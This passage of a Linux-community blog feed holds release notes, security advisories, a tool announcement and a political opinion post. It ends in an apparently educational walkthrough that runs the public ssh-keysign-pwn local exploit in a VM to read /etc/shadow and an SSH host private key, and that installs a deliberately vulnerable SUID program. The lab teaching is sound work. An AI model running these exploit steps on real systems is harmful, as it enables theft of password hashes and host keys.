<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-toml" data-lang="toml"><span class="line"><span class="cl"><span class="p">[</span><span class="nx">revocation</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nx">fetch-url</span> <span class="p">=</span> <span class="s2">&#34;https://upki.ubuntu.com/revocation/&#34;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>The endpoint is live and serving a <a href="https://upki.ubuntu.com/revocation/manifest.json" target="_blank" rel="noreferrer"><code>manifest.json</code></a> describing the current revocation filter set. The service is operated using the <a href="https://github.com/jnsgruk/upki-mirror-k8s-operator" target="_blank" rel="noreferrer">upki-mirror Kubernetes operator</a>, a Charmed Operator that drives the <code>upki-mirror</code> service on Kubernetes. The operator packages the mirror binary in a <a href="https://ubuntu.com/containers/chiseled" target="_blank" rel="noreferrer">chiseled</a> container and serves the generated filter data with nginx.</p>
<h2 id="whats-next" class="relative group">What’s next <span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#whats-next" aria-label="Anchor">#</a></span></h2><p>The next phase is about polishing the preview into something we can confidently integrate more widely. The aim is to ship <code>upki</code> and its early integrations by default in Ubuntu 26.10.</p>
<p>Over the coming weeks we&rsquo;re hoping to gather feedback from this preview and fix any issues in the packaging/Ubuntu integration, while the core team behind upki continues to work on the OpenSSL integration and measuring the fetch performance, cache size and revocation query latency on real systems.</p>
<p>As always, thanks to <a href="https://github.com/djc" target="_blank" rel="noreferrer">Dirkjan</a>, <a href="https://github.com/ctz" target="_blank" rel="noreferrer">Joe</a>, <a href="https://github.com/julian-klode" target="_blank" rel="noreferrer">Julian</a> and everyone else contributing to the implementation, packaging and infrastructure work that has made this preview possible.</p>]]></description>
      <source url="https://jnsgr.uk/tags/ubuntu/index.xml">Jon Seager</source>
    </item>
    <item>
      <title>Announcing Incus 7.2</title>
      <link>https://stgraber.org/2026/06/29/announcing-incus-7-2/</link>
      <guid isPermaLink="true">https://stgraber.org/2026/06/29/announcing-incus-7-2/</guid>
      <pubDate>Mon, 29 Jun 2026 04:32:40 GMT</pubDate>
      <description><![CDATA[<p class="wp-block-paragraph">The Incus team is pleased to announce the release of Incus 7.2!</p>



<p class="wp-block-paragraph">It’s another pretty busy release for us with a varied set of new features across the board as well as the usual set of performance improvements and bugfixes.</p>



<figure class="wp-block-image size-large"><a href="https://linuxcontainers.org/incus/try-it/"><img fetchpriority="high" decoding="async" width="1024" height="499" src="https://stgraber.org/wp-content/uploads/2026/06/image-1024x499.png" alt="" class="wp-image-1887" srcset="https://stgraber.org/wp-content/uploads/2026/06/image-1024x499.png 1024w, https://stgraber.org/wp-content/uploads/2026/06/image-300x146.png 300w, https://stgraber.org/wp-content/uploads/2026/06/image-768x374.png 768w, https://stgraber.org/wp-content/uploads/2026/06/image-1536x748.png 1536w, https://stgraber.org/wp-content/uploads/2026/06/image-2048x998.png 2048w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>



<p class="wp-block-paragraph">This fixes the following security issues:</p>



<ul class="wp-block-list">
<li><a href="https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv">CVE-2026-48749</a> (critical) &#8211; Arbitrary file read+write on host via <code>rootfs/</code> symlink in malicious image</li>



<li><a href="https://github.com/lxc/incus/security/advisories/GHSA-73hr-m85f-64v9">CVE-2026-48750</a> (critical) &#8211; Arbitrary file write on host via <code>exec-output</code> symlink in crafted image</li>



<li><a href="https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv">CVE-2026-48751</a> (critical) &#8211; Restricted project bypass leading to arbitrary command execution</li>



<li><a href="https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479">CVE-2026-48752</a> (critical) &#8211; Arbitrary file read+write on host via <code>templates/</code> symlink in malicious image</li>



<li><a href="https://github.com/lxc/incus/security/advisories/GHSA-v6mj-8pf4-hhw4">CVE-2026-48755</a> (critical) &#8211; Argument injection in backup compression algorithm leading to arbitrary file write and command execution</li>



<li><a href="https://github.com/lxc/incus/security/advisories/GHSA-f6m5-xw2g-xc4x">CVE-2026-48769</a> (critical) &#8211; Arbitrary file write on client due to trusted image hash</li>



<li><a href="https://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f">CVE-2026-55621</a> (high) &#8211; Project restriction bypass for custom volume copy across projects</li>



<li><a href="https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg">CVE-2026-55622</a> (high) &#8211; Project restriction bypass in instance copy across projects</li>
</ul>



<p class="wp-block-paragraph">On the feature front, the highlights for this release are:</p>



<ul class="wp-block-list">
<li>Per-instance SELinux integration</li>



<li>New incus default CLI command</li>



<li>Filtered server info by default</li>



<li>Keepalive timeout from the CLI</li>



<li>Better OS-specific handling of CLI configuration</li>



<li>Standalone server certificate update</li>



<li>Static network configuration for OCI containers</li>



<li>Per-instance BGP route advertisement</li>



<li>Dynamic addresses in proxy NAT mode</li>



<li>Expanded NBD access to VMs</li>



<li>Btrfs compression for storage volumes</li>



<li>InfiniBand SR-IOV GUID configuration</li>



<li>Websocket origin restriction</li>
</ul>



<p class="wp-block-paragraph">The full announcement and changelog can be <a href="https://discuss.linuxcontainers.org/t/incus-7-2-has-been-released/26879" target="_blank" rel="noreferrer noopener">found here</a>.<br>And for those who prefer videos, here&#8217;s the release <a href="https://www.youtube.com/watch?v=rcldqF6SpXA">overview video</a>:</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<iframe title="Introducing Incus 7.2!" width="640" height="360" src="https://www.youtube.com/embed/rcldqF6SpXA?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
</div></figure>



<p class="wp-block-paragraph">You can take the latest release of Incus up for a spin through our online demo service at: <a href="https://linuxcontainers.org/incus/try-it/" target="_blank" rel="noreferrer noopener">https://linuxcontainers.org/incus/try-it/</a></p>



<p class="wp-block-paragraph">And as always, my company is offering commercial support on Incus, ranging from by-the-hour support contracts to one-off services on things like initial migration from LXD, review of your deployment to squeeze the most out of Incus or even feature sponsorship. You&#8217;ll find all details of that here: <a href="https://zabbly.com/incus">https://zabbly.com/incus</a></p>



<p class="wp-block-paragraph">Donations towards my work on this and other open source projects is also always appreciated, you can  find me on <a href="https://github.com/sponsors/stgraber">Github Sponsors</a>, <a href="https://patreon.com/stgraber">Patreon</a> and <a href="https://ko-fi.com/stgraber">Ko-fi</a>.</p>



<p class="wp-block-paragraph">Enjoy!</p>


<p><!-- /wp:post-content --></p>]]></description>
      <source url="https://stgraber.org/category/planet-ubuntu/feed/">Stéphane Graber</source>
    </item>
    <item>
      <title>Introducing Trustmux: Your Terminal, In Your Pocket</title>
      <link>http://blog.dustinkirkland.com/2026/06/introducing-trustmux.html</link>
      <guid isPermaLink="true">http://blog.dustinkirkland.com/2026/06/introducing-trustmux.html</guid>
      <pubDate>Sun, 21 Jun 2026 15:12:24 GMT</pubDate>
      <description><![CDATA[<p><br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLQMsMsGEh766kiAJWrZKMN4XL7EJQlpfbr7yvcca9Ikkr-FAvR0RQWpApkEPhfXgYJhYLHmEPHOpQopE34WfrqaASXVt90OtscIbj0H7t1CyOVJESqfCY9OIoc6TYQR1mN35ExauH4rvNKG801-zlc-B5taj-NWI6nA98tvUqRj5chQrhsDP9rYFszRg/s844/05_text_mode.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="844" data-original-width="390" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLQMsMsGEh766kiAJWrZKMN4XL7EJQlpfbr7yvcca9Ikkr-FAvR0RQWpApkEPhfXgYJhYLHmEPHOpQopE34WfrqaASXVt90OtscIbj0H7t1CyOVJESqfCY9OIoc6TYQR1mN35ExauH4rvNKG801-zlc-B5taj-NWI6nA98tvUqRj5chQrhsDP9rYFszRg/w185-h400/05_text_mode.png" width="185" /></a></div><h1>Introducing Trustmux: Your Terminal, In Your Pocket</h1><div>I've spent almost 3 decades thinking about terminals. <a href="http://byobu.org">Byobu</a> has been my home for shell multiplexing for almost two decades now — a text window manager wrapped around <a href="https://tmux.us/">tmux</a> (or screen, if that's still your thing), giving you persistent sessions, status bars, and the kind of muscle memory that makes a terminal feel like an extension of your hands.</div>
<p>But there's always been a gap for me: what happens when I walk away from my desk?</p>
<h2>The Problem</h2>
<p>I run long-lived shell sessions on my workstation. Background jobs, monitoring dashboards, and — more recently — long-running Claude sessions working through code while I step away. I wanted to check in on all of it from my phone. Not babysit it constantly, just glance at it, run a command if something needed attention, and get on with my day.</p>
<p>The traditional answer here is SSH, or its more mobile-friendly cousin, <a href="https://mosh.org/">Mosh</a>. SSH from a machine with a full sized monitor and keyboard and low network latency is of course awesome, with its fully synchronous connection.&nbsp; But from a phone or tablet — every network hiccup, every WiFi-to-cellular handoff, shows up as lag or a dropped session. Mosh improves on this slightly, but it's still fundamentally built around maintaining that live connection state. On a phone, where networks come and go constantly, that model just doesn't hold up well.</p>
<p>I also tried Claude Mobile, which is excellent for what it does — but it only talks to Claude. I needed something that didn't care what was running in my terminal. Sometimes it's a Claude session, sometimes it's <code><span style="font-family: courier;">htop</span></code>, sometimes it's a deploy script or huge <span style="font-family: courier;">rsync</span> job I want to glance at, or even a different code assistant not named Claude. I needed access to the <em>shell</em>, not to a specific tool.</p>
<p>What I actually wanted was something asynchronous: connect when I need to, see the current state instantly, type a command if I need to, and disconnect without worrying about whether the connection survived. Mobile-native, not desktop-terminal-stretched-onto-a-small-screen.</p>
<p>So I built it.</p>
<h2>Trustmux</h2>
<p>Trustmux is a lightweight daemon that runs alongside your existing tmux or Byobu setup and exposes your sessions as a secure Progressive Web App (PWA) — installable on your phone or tablet, no App Store required.</p>
<p>A few design principles drove this:</p>
<p><strong>Security first.</strong> Every connection is encrypted with real TLS certificates. There are two ways to get there:</p>
<ul>
<li><strong><a href="http://tailscale.com">Tailscale</a></strong> (recommended): Trustmux binds to your Tailscale IP and uses <code>tailscale serve</code> for automatic certificate provisioning. Zero-trust networking, no port forwarding, no exposed surface area. Pairing your phone takes one command and a 6-digit code.</li>
<li><strong>Self-managed certificates</strong>: If you'd rather not run Tailscale, bring your own certificate — a self-signed cert works fine for personal use.</li><li><b>Direct networking</b>: If Tailscale is not your thing, and you just want to connect directly, and handle your port forwards, that works just fine too, as a fall back.</li>
</ul>
<p><strong>Asynchronous by design.</strong> This is the core insight. Trustmux doesn't try to maintain a persistent, fragile connection the way SSH does. It talks to tmux directly via <code>libtmux</code>, and streams terminal state to your device over a WebSocket connection that's resilient to network changes. Open the app, see exactly where your session left off, do what you need, close the app. No babysitting required.</p>
<p><strong>A real PWA, not a wrapper.</strong> Trustmux installs like a native app — tap "Add to Home Screen" and you get a full-screen icon, an offline-capable UI shell, and silent background updates.</p>
<p><strong>Tool-agnostic.</strong> Whatever's running in your tmux panes is what you'll see and interact with — shell commands, Claude sessions, log tails, whatever. Trustmux doesn't care; it just gives you the pane.</p>
<h2>Installation</h2>
<p>Trustmux is available on Ubuntu (<a href="https://launchpad.net/~byobu/+archive/ubuntu/ppa">ppa</a>, <a href="https://launchpad.net/ubuntu/+source/byobu">stonking</a>), <a href="https://tracker.debian.org/pkg/byobu">Debian</a>, and <a href="https://packages.fedoraproject.org/pkgs/byobu/byobu/">Fedora</a> development repositories, as well as <a href="https://pypi.org/project/trustmux/">pip</a>, Homebrew, and the Byobu PPA:</p>
<pre><code>pip install trustmux
# or<br />brew tap dustinkirkland/trustmux
brew install trustmux
# or via PPA
sudo add-apt-repository ppa:byobu/ppa<br />sudo apt install trustmux
</code></pre>
<p>It's part of the Byobu project, so if you've already got Byobu (7+) installed, you're most of the way there.</p>
<h2>Getting Started</h2><p>Setup is three commands:</p><pre><code>trustmux enable    # start at login (optional)
trustmux start     # fire up the daemon
trustmux pair      # generate a pairing URL and 6-digit code
</code></pre><p>Open the pairing URL on your phone, enter the code, tap "Add to Home Screen," and you're in.</p><h2>On Security</h2>
<p>I take this part seriously, given what's at stake — direct shell access to a workstation. This is exactly the kind of tool that deserves continued, public scrutiny, and I'd genuinely welcome additional expert eyes on it — particularly from people who think about authentication, certificate handling, and network exposure for a living.</p>
<h2>Why I Built This</h2>
<p>There's a part of this that's just personal. I like staying close to my shell — that's basically the whole premise of Byobu. As more of my work has started to involve long-running AI coding sessions, the gap between "what's happening on my workstation" and "what I can see on my phone" started to bother me. Trustmux closes that gap, on my terms, with a security model I trust.</p>
<p>If you run tmux or Byobu and have ever wanted to check on a session from the couch, the train, or the airport, I think you'll like this.</p>
<h2>Try It</h2>
<ul>
<li><strong>Website</strong>: <a href="https://trustmux.dev/">trustmux.dev</a></li>
<li><strong>Source</strong>: <a href="https://github.com/dustinkirkland/byobu">github.com/dustinkirkland/byobu</a> (Trustmux is part of the Byobu project)</li>
<li><strong>Install</strong>: <code>pip install trustmux</code>, <code>brew install trustmux</code>, or via <code>ppa:byobu/ppa</code></li>
</ul>
<p>I'd love to hear what you think — what's missing, what's broken, what you'd want next. Feedback, issues, and pull requests are all welcome.</p><p>:-Dustin</p>]]></description>
      <source url="http://blog.dustinkirkland.com/feeds/posts/default/-/Ubuntu">Dustin Kirkland</source>
    </item>
    <item>
      <title>Launchpad security advisory: Fix applied for unsafe tar file extraction vulnerability</title>
      <link>https://blog.launchpad.net/general/launchpad-security-advisory-fix-applied-for-unsafe-tar-file-extraction-vulnerability</link>
      <guid isPermaLink="true">https://blog.launchpad.net/general/launchpad-security-advisory-fix-applied-for-unsafe-tar-file-extraction-vulnerability</guid>
      <pubDate>Fri, 19 Jun 2026 08:00:10 GMT</pubDate>
      <description><![CDATA[<p>We received a private report from a security researcher describing a vulnerability affecting Launchpad. The vulnerability involved the unsafe processing of tar files at build upload and custom upload. We investigated promptly and deployed a fix shortly after the report. The reporting party has confirmed the issue is no longer exploitable.</p>



<p>Following remediation, we completed additional review and monitoring. We found no evidence of malicious exploitation. No user action is required.</p>



<p>We are sharing this update as part of our ongoing commitment to transparency and security.</p>



<p>We thank <code>splitline</code> (@_splitline_) and the DEVCORE Research Team for privately reporting this issue.</p>



<p></p>]]></description>
      <source url="http://news.launchpad.net/feed">Launchpad News</source>
    </item>
    <item>
      <title>What’s happened?</title>
      <link>https://thepcspy.com/read/whats-happened/</link>
      <guid isPermaLink="true">https://thepcspy.com/read/whats-happened/</guid>
      <pubDate>Fri, 12 Jun 2026 00:00:00 GMT</pubDate>
      <description><![CDATA[<p>Foreign money is interfering in UK elections again, but I can’t remember it ever being <em>this</em> obvious.</p>
 <figure><img __astro_image_="{&quot;alt&quot;:&quot;&quot;,&quot;class&quot;:&quot;rimxs&quot;,&quot;src&quot;:&quot;tall/Screenshot_20260612-072919.avif&quot;,&quot;index&quot;:0}"></figure>
<p>If you’re in the UK and you’ve been on <em>The Site Previously Known as Twitter</em> in the last few days, you’ve probably seen an advertisement featuring an AI depiction of Nigel Farage beating, strangling, mugging, shooting, and having his shoes licked by the Bank of England’s governor, Andrew Bailey. These all link through to a fake BBC News page that reports Farage is a big mean tough guy demanding the Bank does what he says.</p>
<p>I wouldn’t for a second suggest that Nigel or Reform are paying to make their weasel look tough, <em><strong>but someone is</strong></em>.</p>
<p>This morning, scrolling through my “Following” tab, I saw around 20 ads on this theme. These were all from foreign-held (India, Saudi, South African, Russian, Uganda, Viet Nam, etc) premium accounts that proclaim themselves “social media influencers”. They all post a couple of nature pictures, and then post these political adverts.</p>
<p class="picblock"><img __astro_image_="{&quot;alt&quot;:&quot;&quot;,&quot;src&quot;:&quot;tall/Screenshot_20260612-072530.avif&quot;,&quot;index&quot;:0}">
<img __astro_image_="{&quot;alt&quot;:&quot;&quot;,&quot;src&quot;:&quot;tall/Screenshot_20260612-072910.avif&quot;,&quot;index&quot;:0}">
<img __astro_image_="{&quot;alt&quot;:&quot;&quot;,&quot;src&quot;:&quot;tall/Screenshot_20260612-072744.avif&quot;,&quot;index&quot;:0}">
<img __astro_image_="{&quot;alt&quot;:&quot;&quot;,&quot;src&quot;:&quot;tall/Screenshot_20260612-072602.avif&quot;,&quot;index&quot;:0}"></p>
<p class="picblock"><img __astro_image_="{&quot;alt&quot;:&quot;&quot;,&quot;src&quot;:&quot;tall/Screenshot_20260612-072513.avif&quot;,&quot;index&quot;:0}">
<img __astro_image_="{&quot;alt&quot;:&quot;&quot;,&quot;src&quot;:&quot;tall/Screenshot_20260612-072623.avif&quot;,&quot;index&quot;:0}">
<img __astro_image_="{&quot;alt&quot;:&quot;&quot;,&quot;src&quot;:&quot;tall/Screenshot_20260612-072542.avif&quot;,&quot;index&quot;:0}">
<img __astro_image_="{&quot;alt&quot;:&quot;&quot;,&quot;src&quot;:&quot;tall/Screenshot_20260612-072505.avif&quot;,&quot;index&quot;:0}"></p>
<p class="picblock"><img __astro_image_="{&quot;alt&quot;:&quot;&quot;,&quot;src&quot;:&quot;short/Screenshot_20260612-072615.avif&quot;,&quot;index&quot;:0}">
<img __astro_image_="{&quot;alt&quot;:&quot;&quot;,&quot;src&quot;:&quot;short/Screenshot_20260612-072729.avif&quot;,&quot;index&quot;:0}">
<img __astro_image_="{&quot;alt&quot;:&quot;&quot;,&quot;src&quot;:&quot;short/Screenshot_20260612-072802.avif&quot;,&quot;index&quot;:0}">
<img __astro_image_="{&quot;alt&quot;:&quot;&quot;,&quot;src&quot;:&quot;short/Screenshot_20260612-072738.avif&quot;,&quot;index&quot;:0}"></p>
<p>And this has been going on for nearly week.</p>
<p>If you’ve ever wondered what the dangers of a [practically] unmoderated platform in the hands of a billionaire “free-speech absolutist” could possibly be for your day-to-day life, here it is. Elon doesn’t appear to care who says what. Ads don’t appear to be vetted. As long as your bots pay their dues, and pay the ad fare, you can shove your dirty little opinions into the eyeballs of whomever you like.</p>
<p>Just as an echo chamber, X was dangerous, but it’s becoming clearer and clearer that it’s now just toxic to any democratic process. With so many bots on the platform, and so many real political campaigners pretending to be somewhere they’re not, the time when you can have an honest discussion has gone.</p>]]></description>
      <source url="http://feeds.feedburner.com/OliUbuntu">Oli Warner</source>
    </item>
    <item>
      <title>Learning about exploits through the safety of Incus</title>
      <link>https://blog.simos.info/learning-about-exploits-through-the-safety-of-incus/</link>
      <guid isPermaLink="true">https://blog.simos.info/learning-about-exploits-through-the-safety-of-incus/</guid>
      <pubDate>Wed, 20 May 2026 22:06:25 GMT</pubDate>
      <description><![CDATA[<p class="wp-block-paragraph">The last few weeks have been quite busy with vulnerabilities that affect all sort of operating systems. It&#8217;s the age of AI, and AI tools help identify yet another class of security vulnerabilities. Several of those vulnerabilities are released while the updates are not ready yet. There exist mitigations though, and it&#8217;s important to do the mitigations until the package updates are ready. </p>



<p class="wp-block-paragraph">We are looking into the <code><a href="https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn">ssh-keysign-pwn</a></code> security vulnerability. Here, a unprivileged process can debug (<code>ptrace</code>) a privileged child process, and in doing so, can exploit a situation where the parent gets access to the file descriptor of a file that was opened by that privileged child process. It&#8217;s a timing attack, which means that the exploit has to try it many times until the conditions are right to get hold of the file descriptor. The vulnerability lies in the Linux kernel, therefore, you are watching for a Linux kernel update to fix this. </p>



<h2 id="the-setup" class="wp-block-heading">The setup</h2>



<p class="wp-block-paragraph">Let&#8217;s give it a go. We are launching an Ubuntu VM, get a shell in there, clone the exploit repository, install the dependencies and compile. This type of vulnerability can safely run in a virtual machine and does not affect the host. </p>



<pre class="wp-block-code"><code>$ <mark style="background-color:#000000" class="has-inline-color has-white-color">incus launch --vm images:ubuntu/24.04/cloud security-sshkeysignpwn</mark>
Launching security-sshkeysignpwn
$ incus exec security-sshkeysignpwn -- su -l ubuntu
To run a command as administrator (user "root"), use "sudo &lt;command&gt;".
See "man sudo_root" for details.

ubuntu@security-sshkeysignpwn:~$ <mark style="background-color:#000000" class="has-inline-color has-white-color">sudo apt install -y git build-essential</mark>
...
ubuntu@security-sshkeysignpwn:~$ <mark style="background-color:#000000" class="has-inline-color has-white-color">git clone https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn</mark>
Cloning into 'ssh-keysign-pwn'...
remote: Enumerating objects: 14, done.
remote: Counting objects: 100% (14/14), done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 14 (delta 3), reused 11 (delta 1), pack-reused 0 (from 0)
Receiving objects: 100% (14/14), 2.34 MiB | 6.03 MiB/s, done.
Resolving deltas: 100% (3/3), done.
ubuntu@security-sshkeysignpwn:~$ <mark style="background-color:#000000" class="has-inline-color has-white-color">cd ssh-keysign-pwn/</mark>
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ <mark style="background-color:#000000" class="has-inline-color has-white-color">make</mark>
cc -O2 -Wall -o sshkeysign_pwn sshkeysign_pwn.c
cc -O2 -Wall -o chage_pwn chage_pwn.c
cc -O2 -Wall -o vuln_target vuln_target.c
cc -O2 -Wall -o exploit_vuln_target exploit_vuln_target.c
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ <mark style="background-color:#000000" class="has-inline-color has-white-color">ls</mark>
<mark style="background-color:#00d084" class="has-inline-color">chage_pwn</mark>  chage_pwn.c  demo.gif  demo.mp4  <mark style="background-color:#00d084" class="has-inline-color has-black-color">exploit_vuln_target</mark>  exploit_vuln_target.c  Makefile  README.md  <mark style="background-color:#00d084" class="has-inline-color">sshkeysign_pwn</mark>  sshkeysign_pwn.c  vuln_target  vuln_target.c
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ </code></pre>



<h2 id="the-exploitation" class="wp-block-heading">The exploitation</h2>



<p class="wp-block-paragraph">The binaries <code>chage_pwn</code> and <code>sshkeysign_pwn</code> work on existing privileged (SUID) binaries on a typical Linux distribution. Whereas <code>exploit_vuln_target</code> is an educational exploit that works on a simplified vulnerable program (also provided) to demonstrate the issue. We look into all three. </p>



<h3 id="chagepwn" class="wp-block-heading"><code>chage_pwn</code></h3>



<p class="wp-block-paragraph">Here is <code>chage</code>, a SUID program (note the <code>s</code>), which has been setup to allow access to the <code>/etc/shadow</code> file that holds all the passwords. The purpose of this program is to show or change the <em>age</em> of passwords. That file, <code>/etc/shadow</code> is not readable by common users. </p>



<pre class="wp-block-code"><code>ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ <mark style="background-color:#000000" class="has-inline-color has-white-color">ls -l /bin/chage</mark> 
-rwxr-<mark style="background-color:#cf2e2e" class="has-inline-color has-white-color">s</mark>r-x 1 root <mark style="background-color:#cf2e2e" class="has-inline-color has-black-color">shadow</mark> 72184 May 30  2024 /bin/chage
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ </code></pre>



<p class="wp-block-paragraph">When you run <code>chage</code> without any parameters, the program will exit, without attempting to open the <code>/etc/shadow</code> file. That&#8217;s not so useful. </p>



<p class="wp-block-paragraph">However, when you use the <code>-l</code> parameter, the program reads the <code>/etc/shadow</code> file and there&#8217;s a very short window where the file descriptor is exposed to a malicious parent process (<code>chage_pwn</code> in this case). Here we have asked <code>chage</code> to show the age information for the <code>root</code> account. We are not even supposed to read the age information of another account, therefore we get a <em>Permission denied</em> error and the program exits. However, inside <code>chage</code>, the <code>/etc/shadow</code> file has been opened! It does not matter that we have asked to show the age information for a privileged account; for the sake of the exploit we could well have asked to view the age information of the <code>ubuntu</code> user, which we are able to do.</p>



<pre class="wp-block-code"><code>ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ <mark style="background-color:#000000" class="has-inline-color has-white-color">chage -l root</mark>
chage: Permission denied.
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ </code></pre>



<p class="wp-block-paragraph">And now the output of the <code>chage_pwn</code> exploit. We are running it over the default username, which is <code>root</code>. If we omitted here the username, the exploit would use that username. It takes several tens of seconds for the exploit to work. In this run, it worked on round 16 and on try 112.</p>



<pre class="wp-block-code"><code>ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ .<mark style="background-color:#000000" class="has-inline-color has-white-color">/chage_pwn root</mark>
fd 6 -> /etc/shadow (round=16 try=112)
root:*:20591:0:99999:7:::
daemon:*:20591:0:99999:7:::
bin:*:20591:0:99999:7:::
sys:*:20591:0:99999:7:::
...
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$</code></pre>



<p class="wp-block-paragraph">Same thing with another account. For some reason it takes longer, about a minute or so. More rounds and more tries. </p>



<pre class="wp-block-code"><code>ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ <mark style="background-color:#000000" class="has-inline-color has-white-color">./chage_pwn ubuntu</mark>
fd 6 -> /etc/shadow (round=247 try=86)
root:*:20591:0:99999:7:::
daemon:*:20591:0:99999:7:::
bin:*:20591:0:99999:7:::
sys:*:20591:0:99999:7:::
sync:*:20591:0:99999:7:::
...
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$</code></pre>



<p class="wp-block-paragraph">Ubuntu systems use <code>sudo</code>, which means that by default the accounts don&#8217;t have a particular password; they are all locked. Some users would set a password, and in such a case, the password would be compromised. </p>



<h3 id="sshkeysignpwn" class="wp-block-heading"><code>sshkeysign_pwn</code></h3>



<p class="wp-block-paragraph">This one will read the file <code>/etc/ssh/ssh_host_ecdsa_key</code>, which is not readable by unprivileged users. </p>



<pre class="wp-block-code"><code>ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ <mark style="background-color:#000000" class="has-inline-color has-white-color">ls -l /etc/ssh/ssh_host_ecdsa_key</mark>
-rw------- 1 root root 525 May 20 20:38 /etc/ssh/ssh_host_ecdsa_key
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ </code></pre>



<p class="wp-block-paragraph">The privileged application (SUID) is `/usr/lib/openssh/ssh-keysign`. When it runs, it runs as the owner of the file, that is, as <em>root</em>.</p>



<pre class="wp-block-code"><code>ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ <mark style="background-color:#000000" class="has-inline-color has-white-color">ls -l /usr/lib/openssh/ssh-keysign</mark>
-rw<mark style="background-color:#cf2e2e" class="has-inline-color has-white-color">s</mark>r-xr-x 1 <em><mark style="background-color:#cf2e2e" class="has-inline-color has-black-color">root</mark></em> root 342632 Apr 28 00:29 /usr/lib/openssh/ssh-keysign
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$</code></pre>



<p class="wp-block-paragraph">Let&#8217;s run it. It just prints a message and exits. However, it has opened the host key file, and there was a slim window of opportunity for a parent process to get access to that file descriptor. </p>



<pre class="wp-block-code"><code>ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ <mark style="background-color:#000000" class="has-inline-color has-white-color">/usr/lib/openssh/ssh-keysign</mark>
ssh-keysign not enabled in /etc/ssh/ssh_config
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$</code></pre>



<p class="wp-block-paragraph">Let&#8217;s run it. The output appears in about ten to twenty seconds. This is the host key of the virtual machine, and it&#8217;s unreadable by unprivileged users. </p>



<pre class="wp-block-code"><code>ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ <mark style="background-color:#000000" class="has-inline-color has-white-color">./sshkeysign_pwn</mark> 
uid=1000  target=/usr/lib/openssh/ssh-keysign
fd 4 -> /etc/ssh/ssh_host_ecdsa_key (round=33 try=212)
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
...
dHktc3Noa2V5c2lnbnB3bgECAwQ=
-----END OPENSSH PRIVATE KEY-----
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$</code></pre>



<p class="wp-block-paragraph">If a malicious user managed to read the host key and happen to have access to the network, they can perform man-in-the-middle attacks against network connections to this host. </p>



<h3 id="exploitvulntarget" class="wp-block-heading"><code>exploit_vuln_target</code></h3>



<p class="wp-block-paragraph">This educational exploit works on a vulnerable SUID application that is also provided. It&#8217;s the file <code>vuln_target.c</code>. It opens the (normally) unreadable file <code>/etc/shadow</code> and does not bother closing it. It even calls <code>pause()</code>, which will pause the vulnerable target until a Unix signal is received. This makes it so easy to exploit. </p>



<pre class="wp-block-code"><code>ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ <mark style="background-color:#000000" class="has-inline-color has-white-color">cat vuln_target.c </mark>
/* Setuid target that opens /etc/shadow before dropping. Install as
 * setuid root; exploit with exploit_vuln_target.c. */
#define _GNU_SOURCE
#include &lt;stdio.h>
#include &lt;stdlib.h>
#include &lt;string.h>
#include &lt;unistd.h>
#include &lt;errno.h>
#include &lt;fcntl.h>

int main(int argc, char **argv)
{
	int fd = open("/etc/shadow", O_RDONLY);
	if (fd &lt; 0) { perror("open"); return 1; }

	if (setuid(getuid()) &lt; 0) { perror("setuid"); return 1; }

	if (argc > 1 &amp;&amp; !strcmp(argv&#91;1], "exit-now"))
		return 0;
	pause();
	return 0;
}
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ </code></pre>



<p class="wp-block-paragraph">After compilation, it has to be installed as SUID and owned by <code>root</code>.</p>



<pre class="wp-block-code"><code>ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ <mark style="background-color:#000000" class="has-inline-color has-white-color">sudo install -m 4755 vuln_target /usr/local/bin/vuln_target</mark>
